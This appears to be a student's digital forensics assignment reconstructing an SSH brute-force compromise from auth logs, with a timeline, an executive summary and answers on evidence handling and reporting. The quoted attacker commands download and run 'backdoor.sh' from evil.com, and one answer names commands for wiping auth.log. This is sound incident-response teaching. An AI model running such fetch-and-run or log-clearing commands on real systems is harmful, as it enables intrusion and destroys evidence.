

Digital Forensics and Incident Response (DFIR)

Information Security

Instructor: Shehryar Raza

Ebad Junaid

BSCS22046

May 6, 2026

Part A: Log Analysis & Timeline Reconstruction

1) Identify the attacker's IP address

The attacker's IP address is 185.130.5.253. The logs show multiple failed password attempts for the "root" account from this IP, which ended in a successful login.

2) Find the exact time of successful unauthorized access

- **Source IP:** 185.130.5.253
- **Username:** root
- **Timestamp:** 2025-04-10 20:20:10

3i) List all commands executed by the attacker

- 2025-04-10 20:22:15 : /usr/bin/wget http://evil.com/backdoor.sh
- 2025-04-10 20:23:40 : /bin/bash backdoor.sh

4) What malicious file was downloaded? From where?

The attacker downloaded a file named "backdoor.sh" from the URL "http://evil.com/backdoor.sh".

5) Compare pre-attack and post-attack logs. List three suspicious differences

1. The post-attack log shows a highly targeted brute-force attack on the root account from a single IP, whereas the pre-attack log shows only random, scattered login attempts for various invalid users.
2. The post-attack log contains a successful root login from an unknown external IP address (185.130.5.253).
3. The post-attack log shows the execution of malicious commands (downloading and running a script from an external website), which are completely missing in the normal, pre-attack logs.

6) Reconstruct the full attack timeline

Time	Event	Evidence (log line reference)
20:17:45	Failed login attempt for root	sshd[2150]: Failed password for root from 185.130.5.253 port 55982
20:18:10	Failed login attempt for root	sshd[2155]: Failed password for root from 185.130.5.253 port 56011
20:18:35	Failed login attempt for root	sshd[2160]: Failed password for root from 185.130.5.253 port 56044
20:19:02	Failed login attempt for root	sshd[2165]: Failed password for root from 185.130.5.253 port 56089
20:19:28	Failed login attempt for root	sshd[2170]: Failed password for root from 185.130.5.253 port 56123
20:19:55	Failed login attempt for root	sshd[2175]: Failed password for root from 185.130.5.253 port 56177
20:20:10	Successful root login	sshd[2180]: Accepted password for root from 185.130.5.253 port 56201
20:22:15	Downloaded malicious script	COMMAND=/usr/bin/wget http://evil.com/backdoor.sh
20:23:40	Executed malicious script	COMMAND=/bin/bash backdoor.sh
20:35:22	Attacker disconnected	sshd[2240]: Connection closed by 185.130.5.253 port 56202

7) Which legitimate user accounts were likely compromised?

Only the "root" account was compromised. The attacker successfully guessed the root password. Other user accounts (such as john, alice, and bob) logged in normally during this period and were not targeted by the attacker's IP.

8) Post-attack, what persistence mechanism might the attacker have installed?

The attacker likely installed a backdoor program. The log shows the command `"/bin/bash backdoor.sh"`, which executes the downloaded malicious file. Scripts like this are typically used to create a permanent backdoor for future unauthorized access without needing to guess the password again.

9) Write a one-paragraph executive summary of the incident

On April 10, 2025, our server experienced a successful cyberattack. An external attacker used a brute-force method from the IP address 185.130.5.253 to guess the administrator's "root" password. After logging in, the attacker downloaded and executed a malicious script named "backdoor.sh" from an untrusted website. This script likely installed a backdoor to give the attacker permanent access to our system. We must immediately isolate the server, find and remove any persistent threats, and improve our security by disabling direct root logins and enforcing key-based authentication.

Part B: Theoretical & Forensic Questions

Chain of custody - Explain why you cannot simply edit these log files directly. What steps would you take before analysis?

You cannot edit the original log files because doing so alters digital evidence, violating the chain of custody and rendering the evidence inadmissible in a court of law. Altered files cannot be trusted for an accurate investigation because their original state is lost. Before analysis, you must create a bit-by-bit forensic image (a secure, exact copy) of the original logs. Next, you generate cryptographic hashes, such as SHA-256, for both the original file and the copy. If the hashes match exactly, the copy is verified as authentic. You must then securely store the original files in an isolated, read-only environment and perform all your analysis exclusively on the forensic copies to ensure the original evidence remains pristine.

Log integrity - How could the attacker erase their tracks from auth.log? How would a forensic investigator detect such tampering?

An attacker could erase their tracks by manually deleting specific lines from the "auth.log" file using text editors, or by using commands like `> /var/log/auth.log` or `rm` to clear the entire file. They might also use automated tools designed to scrub specific IP addresses from system logs. A forensic investigator can detect this tampering by looking for sudden, unexplained gaps in the timestamps or missing sequence numbers within the log file. Furthermore, the investigator can cross-reference the local logs with centralized remote logging servers (like a SIEM or Syslog

server), where the attacker likely could not reach or delete the data. Checking shell history files (e.g., `.bash_history`) for deletion commands and looking for file modification times that do not align with normal system operations are also highly effective detection methods.

Timeline tools - Name two CLI tools (Linux) to merge, sort, and analyze these logs efficiently. Show an example command.

Two highly effective Linux command-line tools for this task are `cat` (used to concatenate or merge multiple files together) and `sort` (used to order the output data chronologically based on timestamps). Another useful tool is `grep` to easily filter specific events or IP addresses.

Example command to merge and sort:

```
cat auth-pre.log auth-post.log | sort > merged_timeline.log
```

This command takes the contents of both log files, pipes them into the `sort` utility to organize them by their timestamp, and saves the final ordered timeline into a new text file.

False positives - In the pre-attack log, there are failed logins from 203.0.113.5. Are they part of the attack? Why or why not?

No, these failed logins are not part of the main, targeted attack. These events are almost certainly false positives representing automated background noise. On the internet, automated bots constantly scan publicly facing servers and attempt to log in using common, weak, or default usernames like 'admin', 'mysql', or 'ftpuser'. The actual attacker focused a highly aggressive, sustained brute-force attack specifically on the "root" user from a completely different IP address (185.130.5.253). The activity from 203.0.113.5 lacks the focus, timing, and subsequent successful exploitation seen in the real attack sequence.

Legal & ethical - If this was a real incident, would you be allowed to examine Alice's sudo commands without her consent? Under what framework?

Yes, you would generally be allowed to examine her commands without her direct consent in a corporate or organizational environment. This is typically governed under the framework of a company's Acceptable Use Policy (AUP) or an Employee Handbook, which Alice would have signed upon hiring. An AUP clearly states that company-owned computers, networks, and accounts are the property of the organization and are subject to active monitoring for security, maintenance, and compliance purposes. Therefore, employees have no legal expectation of privacy when using corporate IT resources, allowing security teams to investigate potential incidents legally and ethically.

Reporting - List 5 essential sections of a digital forensics investigation report.

1. **Executive Summary:** A high-level overview of the incident, findings, and impact designed for non-technical management.
2. **Incident Description and Objectives:** A detailed explanation of what happened, how the incident was detected, and the scope of the investigation.
3. **Evidence Analyzed:** A comprehensive log of all devices, log files, and data examined, including their cryptographic hashes to prove integrity.
4. **Analysis and Timeline of Findings:** The technical breakdown of the attack, attack vectors, and a step-by-step chronological timeline of events.
5. **Conclusion and Recommendations:** Final thoughts on the breach and actionable, prioritized steps to prevent future incidents.